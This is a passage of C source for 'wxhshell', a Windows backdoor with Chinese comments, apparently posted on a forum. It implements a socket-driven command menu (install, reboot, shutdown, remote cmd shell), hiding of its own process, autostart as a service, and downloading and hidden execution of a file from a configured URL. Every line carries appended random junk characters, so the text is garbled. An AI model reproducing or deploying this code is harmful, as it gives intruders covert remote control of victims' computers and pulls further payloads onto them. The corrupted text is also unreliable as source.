    switch(cmd[0]) { rpk8  
  GTs,?t16/  
  // 帮助 tmGhJZ2j  
  case '?': { /.:1Da  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [_N1 .}e  
    break; ^P^"t^O  
  } AA-$;s  
  // 安装 $$AZ)#t[  
  case 'i': { `JIp$  
    if(Install()) PvKGB01_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jLFaf#G]  
    else ;&lXgC^*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (~|)Gmq2  
    break; `!8\ |/  
    } |\bNFnn(  
  // 卸载 c coi  
  case 'r': { ~HY)$Yp;  
    if(Uninstall()) 4lo7yx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 51:5rN(_  
    else #jbC@A9Pe  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #m#IBRD:  
    break; &UDbH* !4=  
    } G-CL \G\n  
  // 显示 wxhshell 所在路径 D(z#)oDr  
  case 'p': { U& GPede  
    char svExeFile[MAX_PATH]; (~@.9&cBD  
    strcpy(svExeFile,"\n\r"); S 1k*"><  
      strcat(svExeFile,ExeFile); Q_ T,=y  
        send(wsh,svExeFile,strlen(svExeFile),0); d 6Y9D=O  
    break; ['QhC({  
    } [,bJKz)a  
  // 重启 kwi$%  
  case 'b': { 'q}Ud10c  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pyf'_  
    if(Boot(REBOOT)) mR.j8pi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @Z0. }}Y  
    else { n6[shXH  
    closesocket(wsh); GS*O{u  
    ExitThread(0); 1uo |a  
    } b$w66q8  
    break; iBWzxPv:z  
    } LBio$67F  
  // 关机 \Vv)(/q{  
  case 'd': { H:b"Vd"x9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M_O$]^I3w  
    if(Boot(SHUTDOWN)) 3SM'vV0[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I'D3~UI f  
    else { .(&6gB  
    closesocket(wsh); +R?E @S  
    ExitThread(0); 9f['TG,"  
    } v~RxtTu  
    break; u!xgLf'`  
    } :qS~"@?<  
  // 获取shell DN9x<%/-  
  case 's': { !/`AM<`o  
    CmdShell(wsh); r E1ouz!D  
    closesocket(wsh); '"Cqq{*  
    ExitThread(0); ks$5$,^T2o  
    break; wz+mFf  
  } :WH{wm|  
  // 退出 HF*~bL  
  case 'x': { 6oKlr,.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); iMry0z  
    CloseIt(wsh); | {zka.sJ  
    break; nUY)Ln I  
    } ]Vf p,"op  
  // 离开 :~s"]*y  
  case 'q': { y**L^uvr  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); '>OEQU5-  
    closesocket(wsh); )1 @v<I  
    WSACleanup(); $_%  
    exit(1); n2aUj(Zs=  
    break; [p\xk{7Y  
        } %AV3eqghCg  
  } UB] tKn  
  } depCqz@  
PazWMmI  
  // 提示信息 :z?T /9,C  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zCq6k7u  
} WKr4S<B8mr  
  } ( *26aMp  
YTgT2w  
  return; q.:a4w J  
} qHrIs-NR  
5m;pHgkb  
// shell模块句柄 [)Ia Xa  
int CmdShell(SOCKET sock) "6e3Mj\  
{ aorL,l  
STARTUPINFO si; -vT$UP  
ZeroMemory(&si,sizeof(si)); E=v4|/['N  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ABE EJQ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4&]NC2I  
PROCESS_INFORMATION ProcessInfo; *~`oA~-Q  
char cmdline[]="cmd"; qvsfU*wo?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q9zeN:><  
  return 0; j%vxCs>  
} HVC|0}  
L7II>^"B  
// 自身启动模式 ^wIP`dn  
int StartFromService(void) (1,4egMpR  
{ uxrNkZia  
typedef struct Ux,dj8=o  
{ F&/ }x15  
  DWORD ExitStatus; p<VW;1bt5  
  DWORD PebBaseAddress; 4J[bh  
  DWORD AffinityMask; v&^N+>p  
  DWORD BasePriority; RplcM%YJn  
  ULONG UniqueProcessId; kSJ:4!lFU  
  ULONG InheritedFromUniqueProcessId; X7aj/:fXe  
}   PROCESS_BASIC_INFORMATION; hO3C _}  
Y5>'(A>  
PROCNTQSIP NtQueryInformationProcess; LQ$dT#z2A  
Xp^>SSt:4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; B]D51R\}VE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >03JQe_#*L  
(_q&QI0{  
  HANDLE             hProcess; =c[mch%E  
  PROCESS_BASIC_INFORMATION pbi; d[(%5pw~zL  
-mZ{.\9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Erl@] P4  
  if(NULL == hInst ) return 0; or` "{wop  
L'BzefU;04  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); TI'~K}Te  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $EG<LmC-Q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _i"[m(ABj1  
%D^j7`Z  
  if (!NtQueryInformationProcess) return 0; :)e/(I]  
Yh%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @iz6)2z  
  if(!hProcess) return 0; 87V XVI  
`tsqnw  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; i];@e]   
"%t !+E>nr  
  CloseHandle(hProcess); g.EKdvY"%H  
1 pzd  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qr/N?,  
if(hProcess==NULL) return 0; \AR3DDm  
6 dCqS  
HMODULE hMod; 8j%lM/ v  
char procName[255]; 2wh{[Q2f  
unsigned long cbNeeded; 5al44[  
cW $~86u"C  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9;c]_zt  
-E!V;Tgc%U  
  CloseHandle(hProcess); Kib?JRYt  
l\-(li H  
if(strstr(procName,"services")) return 1; // 以服务启动 Y wM;G g3  
E?f*Z{~,  
  return 0; // 注册表启动 01^W Py9l  
} j@s,5:;[  
\-s'H:  
// 主模块 3412znM&  
int StartWxhshell(LPSTR lpCmdLine) HYk*;mD  
{ #^/&fdK~A  
  SOCKET wsl; Fx*IeIs(:~  
BOOL val=TRUE; <Gudx>I  
  int port=0; lO|H:7  
  struct sockaddr_in door; Q ?W6  
|7T!rnr  
  if(wscfg.ws_autoins) Install(); e.g$|C^$m  
=mk7'A>l  
port=atoi(lpCmdLine); 80M4~'3  
KK*"s^ L  
if(port<=0) port=wscfg.ws_port; WxLILh  
IF*kLl?  
  WSADATA data; hE/y"SP3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1z(y>`ZBq  
>&9Iy"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C>7k|;BvF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `qsn;  
  door.sin_family = AF_INET; eVWnD,'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]HP  
  door.sin_port = htons(port); e{9(9qE"  
A d7=JzV  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5G=CvGu  
closesocket(wsl); QSy#k~  
return 1; BO ^T :  
} L7*~8Y  
gasl%&  
  if(listen(wsl,2) == INVALID_SOCKET) { {Z|.-~W  
closesocket(wsl); s.I=H^ T  
return 1; M+^+u 1QQ0  
} \G*vY#]  
  Wxhshell(wsl); (sn|`k3I  
  WSACleanup(); 7[V'3  
Z)(C7,Xu  
return 0; /T*]RO4%>]  
*Mqg_} 0Y  
} FyQ^@@  
)P.|Xk:r  
// 以NT服务方式启动 B|~\m ~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D`.CXFI+U  
{ S?=2GY  
DWORD   status = 0; uoKC+8GA  
  DWORD   specificError = 0xfffffff; aARm nV  
U=%S6uL\bx  
  serviceStatus.dwServiceType     = SERVICE_WIN32; fr\UX}o  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @,sg^KB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ? B^*YCo7(  
  serviceStatus.dwWin32ExitCode     = 0; 5,qfr!hN,  
  serviceStatus.dwServiceSpecificExitCode = 0; &e% y|{Y  
  serviceStatus.dwCheckPoint       = 0; Wm.SLr,o0  
  serviceStatus.dwWaitHint       = 0; rq6(^I  
s4}}MV3X  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I)O-i_}L&K  
  if (hServiceStatusHandle==0) return; cEw/F0  
]0dp^%  
status = GetLastError(); R m *"SG  
  if (status!=NO_ERROR) `h Y:F(  
{ D1lHq/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; bd<zn*H Z*  
    serviceStatus.dwCheckPoint       = 0; Oy[t}*Ik  
    serviceStatus.dwWaitHint       = 0; J2H8r 'T  
    serviceStatus.dwWin32ExitCode     = status; 8c3 X9;a  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2Sb~tTGz79  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); f5/ba9n I  
    return; A HKS [ N  
  } B69NL  
]]%CO$`T [  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; mnXaf)"  
  serviceStatus.dwCheckPoint       = 0; H, =??wN  
  serviceStatus.dwWaitHint       = 0; DjL(-7'p  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^ tm,gh  
} e v?Hz8Q;(  
( {zp$P}  
// 处理NT服务事件,比如:启动、停止 'J<KL#og  
VOID WINAPI NTServiceHandler(DWORD fdwControl) dmrM %a}W-  
{ #ZGWU_l}  
switch(fdwControl) y)#Ib*?  
{ :d!.E$S  
case SERVICE_CONTROL_STOP: J/wot,j^  
  serviceStatus.dwWin32ExitCode = 0; FAU^(]-5m  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;Z.}~d6>!  
  serviceStatus.dwCheckPoint   = 0; F+Lq  
  serviceStatus.dwWaitHint     = 0; g >-iBxml  
  { K#F~$k|1B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z6FG^  
  } Jp5~iC2d  
  return; S` X;2\:  
case SERVICE_CONTROL_PAUSE: A"z')   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; T?7 ZF+yo6  
  break; OjeM#s#N!  
case SERVICE_CONTROL_CONTINUE: C2eei're  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; j|HOry1E&  
  break; =UNzjmP503  
case SERVICE_CONTROL_INTERROGATE: /2?GRwU~P  
  break; w},k~5U^s  
}; 0VsrAV0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c+|,2e 0T  
} %qfEFhRC  
>48zRi\N  
// 标准应用程序主函数 I#S6k%-'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Yw+_( 2 9=  
{ {n%F^ky+7  
Ql\{^s+  
// 获取操作系统版本 K-_e' )22.  
OsIsNt=GetOsVer(); Z10#6v  
GetModuleFileName(NULL,ExeFile,MAX_PATH); pU`Q[HOs  
M*+_E8Lh  
  // 从命令行安装 3=5+NJ'8  
  if(strpbrk(lpCmdLine,"iI")) Install(); WZ"x\K-;  
m]Z& .,bA  
  // 下载执行文件 PGu6hV{  
if(wscfg.ws_downexe) { /_w oCLwQ#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,uE WnZ"4  
  WinExec(wscfg.ws_filenam,SW_HIDE);  @;d(>_n  
} C8@SuJ  
(? YTQ8QR  
if(!OsIsNt) { hMeE@Q0  
// 如果时win9x,隐藏进程并且设置为注册表启动 QSEf  
HideProc(); @y)-!MHN(8  
StartWxhshell(lpCmdLine); cq % =DZ  
} 3MiNJi#=2  
else zn>*^h0B  
  if(StartFromService()) xQ7>u -^  
  // 以服务方式启动 :%)l* [  
  StartServiceCtrlDispatcher(DispatchTable); y$#mk3(e~t  
else *)U=ZO6S  
  // 普通方式启动 p^7ZFUP  
  StartWxhshell(lpCmdLine); @+:S'mAQC  
"F}a nPY  
return 0; KDwjck"5;  
}
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只看该作者 1 发表于: 2006-10-10
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